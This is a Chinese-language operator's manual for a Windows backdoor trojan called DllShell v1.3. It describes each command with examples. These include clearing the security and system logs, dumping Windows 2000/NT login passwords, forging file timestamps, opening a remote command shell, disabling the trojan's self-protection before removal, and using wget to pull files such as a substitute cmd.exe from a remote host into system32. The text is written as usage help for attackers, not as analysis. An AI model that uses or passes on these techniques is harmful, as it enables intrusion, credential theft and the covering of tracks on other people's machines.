后门木马DllShell v1.3的使用详解

 

CD/CD.
 显示当前目录
CD..
 返回上级目录
CD <Dir>
 改变当前目录

MD/RD <Dir>
 删除目录

DEL <FileName>
 删除文件

DIR|LS [Pattern]
 显示文件和目录,Pattern支持通配符,例如dir *.exe

--------------------------------------------------------------------------------------

AutoRun -e
 枚举注册表里面的启动项,相当全面.

AutoRun -d <i> <j>
 删除指定启动项目.
 比如,autorun -e, 返回如下信息:

 16.[HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun]
 ------------------------------------------------------------------------
 [0]Internat.exe:
 internat.exe

 用autorun -d 16 0, 即可删除"[0]Internat.exe:"项目

Mouse -l/u
 锁定/解除锁定鼠标指针

Mouse -s/r
 交换/恢复鼠标左右键
 
Assoc
 枚举一些关键扩展名的执行关联,很老的马才会用这招了.
 比如输入assoc, 返回信息如下:
 文件关联:
 -----------------------------
 项目名称 状态(异常标志: ==> )
 -------- ----
 exe文件: "%1" %*
 com文件: "%1" %*
 bat文件: "%1" %*
 cmd文件: "%1" %*
 pif文件: "%1" %*
 scr文件: "%1" /S
 txt文件: ==> n0tepad.exe %1
 ini文件: %SystemRoot%System32NOTEPAD.EXE %1
 inf文件: %SystemRoot%System32NOTEPAD.EXE %1
 reg文件: regedit.exe "%1"

Clog
 清除系统日志(包括应用程序/安全性/系统)

Exec <ExecuteFileName>
 执行可执行文件

FindPass
 查找2k/Nt的用户口令.
 修复Nameless里面findpass的两个bug:
 (system权限不能获取domain/username和只能查找一个winlogon进程的小bug)

FileTime <FileName> <DateTime>
 修改指定文件的创建日期和最后修改时间 到 DateTime指定的时间
 DataTime的格式为yyyymmddhhmmss,如20060524152307
 注:可以修改具有只读,隐藏,系统属性的文件时间

Help|?
 帮助

LockPC
 锁定工作站的桌面

Shell [CmdFile]
 打开CMD命令行,如果CmdFile未指定,默认为cmd.exe
 如果管理员删除了cmd.exe,或者修改了cmd.exe的权限;
 你可以先wget个自己的mycmd.exe,然后Shell mycmd.exe即可

Shield <On|Off>
 恢复/挂起自我保护线程,如果要卸载后门,请先Shield Off

SysInfo
 收集系统配置信息,比较详细:-)
 比如sysinfo, 返回信息如下:
 系统信息
 --------------------------------------
 系统版本: Microsoft Windows 2000 Advance Server Service Pack 4.0(Build 2195)
 产品ID: 52273-005-6861993-09773
 安装路径: H:WIN2000PROI386
 安装时间: 2046-1-20, 15:22:56
 注册组织: Microsoft
 注册用户: BillGates
 主机名: WEB_SERVER
 Windows目录: C:WINNT
 系统目录: C:WINNTsystem32

 CPU个数: 1个
 CPU[0]: Intel(R) Pentium(R) 4 CPU 2.40GHz频率: 2391MHz
 内存容量: 255MB Total, 31MB Free.
 显示属性: 1024 x 768, 刷新率: 85Hz, 色深: 32bit
 运行时间: 0天 00:10:32

 盘符[卷标] 驱动器|文件系统 总大小|可用空间 百分比
 -----------------------------------------------------------------------------
 C:| 硬盘|NTFS 12001MB| 92MB 11.7G| 0.1G 0.8%
 D:|本地磁盘 硬盘|FAT32 15633MB| 125MB 15.3G| 0.1G 0.8%
 E:| 硬盘|FAT32 15633MB| 93MB 15.3G| 0.1G 0.6%
 F:| 硬盘|FAT32 15633MB| 3708MB 15.3G| 3.6G 23.7%
 G:|本地磁盘 硬盘|FAT32 15610MB| 59MB 15.2G| 0.1G 0.4%
 H:| 光驱|无碟 0MB| 0MB 0.0G| 0.0G 0.0%
 I:| 网络驱动器| 0MB| 0MB 0.0G| 0.0G 0.0%

 硬盘总容量: 74513MB|72.8G
 剩余空间: 4078MB|4.0G
 可用百分比: 5.5%

 本机IP
 --------------------------------------
 IP[0]: 192.168.0.1

Wget <URL> [SaveFileName]
 Http下载文件到system32目录下面,
 注意URL前面要加上<a href="http://" target="_blank">http://</a>
 如果SaveFileName没指定,则使用URL里面的文件名
 比如, wget <a href="http://192.168.0.2/cmd.exe" target="_blank">http://192.168.0.2/cmd.exe</a> mycmd.exe 则保存的文件名为mycmd.exe
 wget <a href="http://192.168.0.2/cmd.exe 则保存的文件名为cmd.exe" target="_blank">http://192.168.0.2/cmd.exe 则保存的文件名为cmd.exe</a>

Quit|Exit
 退出Dllshell.